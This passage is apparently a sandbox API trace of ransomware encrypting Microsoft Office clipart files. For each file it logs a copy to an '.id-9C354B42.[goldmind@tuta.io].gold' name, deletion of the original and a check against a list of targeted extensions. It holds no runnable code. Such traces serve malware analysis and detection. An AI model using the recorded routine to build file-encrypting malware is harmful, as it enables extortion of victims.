[0114.510] lstrlenW (lpString="J0200189.WMF") returned 12 [0114.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.511] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8060) returned 1 [0114.511] CloseHandle (hObject=0x194) returned 1 [0114.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf")) returned 0x20 [0114.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.511] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.511] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.512] GetLastError () returned 0x0 [0114.512] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1f7c, lpOverlapped=0x0) returned 1 [0114.513] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1f80, lpOverlapped=0x0) returned 1 [0114.514] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.514] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.514] SetEndOfFile (hFile=0x198) returned 1 [0114.514] CloseHandle (hObject=0x198) returned 1 [0114.515] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.515] SetEndOfFile (hFile=0x194) returned 1 [0114.518] CloseHandle (hObject=0x194) returned 1 [0114.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf")) returned 1 [0114.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.519] lstrlenW (lpString=".doc") returned 4 [0114.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".docx") returned 5 [0114.520] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.520] lstrlenW (lpString=".pdf") returned 4 [0114.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".xls") returned 4 [0114.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.520] lstrlenW (lpString=".xlsx") returned 5 [0114.520] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.520] lstrlenW (lpString=".ppt") returned 4 [0114.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".zip") returned 4 [0114.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.520] lstrlenW (lpString=".rar") returned 4 [0114.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".bz2") returned 4 [0114.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".7z") returned 3 [0114.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".dbf") returned 4 [0114.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".1cd") returned 4 [0114.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".jpg") returned 4 [0114.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".doc") returned 4 [0114.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".docx") returned 5 [0114.520] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.520] lstrlenW (lpString=".pdf") returned 4 [0114.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".xls") returned 4 [0114.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.520] lstrlenW (lpString=".xlsx") returned 5 [0114.520] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.520] lstrlenW (lpString=".ppt") returned 4 [0114.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".zip") returned 4 [0114.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.520] lstrlenW (lpString=".rar") returned 4 [0114.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".bz2") returned 4 [0114.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString=".7z") returned 3 [0114.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.520] lstrlenW (lpString=".dbf") returned 4 [0114.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.521] lstrlenW (lpString=".1cd") returned 4 [0114.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned 63 [0114.521] lstrlenW (lpString=".jpg") returned 4 [0114.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.521] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.521] lstrlenW (lpString="J0200273.WMF") returned 12 [0114.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.521] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31302) returned 1 [0114.521] CloseHandle (hObject=0x194) returned 1 [0114.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf")) returned 0x20 [0114.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.522] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.522] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.523] GetLastError () returned 0x0 [0114.523] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7a46, lpOverlapped=0x0) returned 1 [0114.525] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7a50, lpOverlapped=0x0) returned 1 [0114.526] ReadFile (in: hFile=0x194, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.526] WriteFile (in: hFile=0x198, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.526] SetEndOfFile (hFile=0x198) returned 1 [0114.526] CloseHandle (hObject=0x198) returned 1 [0114.526] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.526] SetEndOfFile (hFile=0x194) returned 1 [0114.528] CloseHandle (hObject=0x194) returned 1 [0115.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf")) returned 1 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString=".doc") returned 4 [0115.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString=".docx") returned 5 [0115.110] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.110] lstrlenW (lpString=".pdf") returned 4 [0115.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString=".xls") returned 4 [0115.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.110] lstrlenW (lpString=".xlsx") returned 5 [0115.110] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.110] lstrlenW (lpString=".ppt") returned 4 [0115.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString=".zip") returned 4 [0115.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.110] lstrlenW (lpString=".rar") returned 4 [0115.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString=".bz2") returned 4 [0115.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString=".7z") returned 3 [0115.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString=".dbf") returned 4 [0115.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString=".1cd") returned 4 [0115.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.110] lstrlenW (lpString=".jpg") returned 4 [0115.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString=".doc") returned 4 [0115.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString=".docx") returned 5 [0115.111] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0115.111] lstrlenW (lpString=".pdf") returned 4 [0115.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString=".xls") returned 4 [0115.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.111] lstrlenW (lpString=".xlsx") returned 5 [0115.111] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0115.111] lstrlenW (lpString=".ppt") returned 4 [0115.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString=".zip") returned 4 [0115.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.111] lstrlenW (lpString=".rar") returned 4 [0115.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString=".bz2") returned 4 [0115.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString=".7z") returned 3 [0115.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString=".dbf") returned 4 [0115.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString=".1cd") returned 4 [0115.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned 63 [0115.111] lstrlenW (lpString=".jpg") returned 4 [0115.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.111] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.111] lstrlenW (lpString="J0211981.WMF") returned 12 [0115.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.112] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=28276) returned 1 [0115.112] CloseHandle (hObject=0x38c) returned 1 [0115.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf")) returned 0x20 [0115.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.112] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.112] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.113] GetLastError () returned 0x0 [0115.113] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x6e74, lpOverlapped=0x0) returned 1 [0115.116] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x6e80, lpOverlapped=0x0) returned 1 [0115.117] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.117] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.117] SetEndOfFile (hFile=0x3d0) returned 1 [0115.117] CloseHandle (hObject=0x3d0) returned 1 [0115.117] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.117] SetEndOfFile (hFile=0x38c) returned 1 [0115.119] CloseHandle (hObject=0x38c) returned 1 [0115.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf")) returned 1 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.120] lstrlenW (lpString=".doc") returned 4 [0115.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString=".docx") returned 5 [0115.120] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.120] lstrlenW (lpString=".pdf") returned 4 [0115.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString=".xls") returned 4 [0115.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.120] lstrlenW (lpString=".xlsx") returned 5 [0115.120] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.120] lstrlenW (lpString=".ppt") returned 4 [0115.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.120] lstrlenW (lpString=".zip") returned 4 [0115.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.120] lstrlenW (lpString=".rar") returned 4 [0115.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString=".bz2") returned 4 [0115.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString=".7z") returned 3 [0115.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.120] lstrlenW (lpString=".dbf") returned 4 [0115.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.120] lstrlenW (lpString=".1cd") returned 4 [0115.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".jpg") returned 4 [0115.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".doc") returned 4 [0115.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString=".docx") returned 5 [0115.121] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.121] lstrlenW (lpString=".pdf") returned 4 [0115.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString=".xls") returned 4 [0115.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.121] lstrlenW (lpString=".xlsx") returned 5 [0115.121] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.121] lstrlenW (lpString=".ppt") returned 4 [0115.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".zip") returned 4 [0115.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.121] lstrlenW (lpString=".rar") returned 4 [0115.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString=".bz2") returned 4 [0115.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString=".7z") returned 3 [0115.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".dbf") returned 4 [0115.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".1cd") returned 4 [0115.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned 63 [0115.121] lstrlenW (lpString=".jpg") returned 4 [0115.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.122] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.122] lstrlenW (lpString="J0212299.WMF") returned 12 [0115.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.123] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6158) returned 1 [0115.123] CloseHandle (hObject=0x38c) returned 1 [0115.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf")) returned 0x20 [0115.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 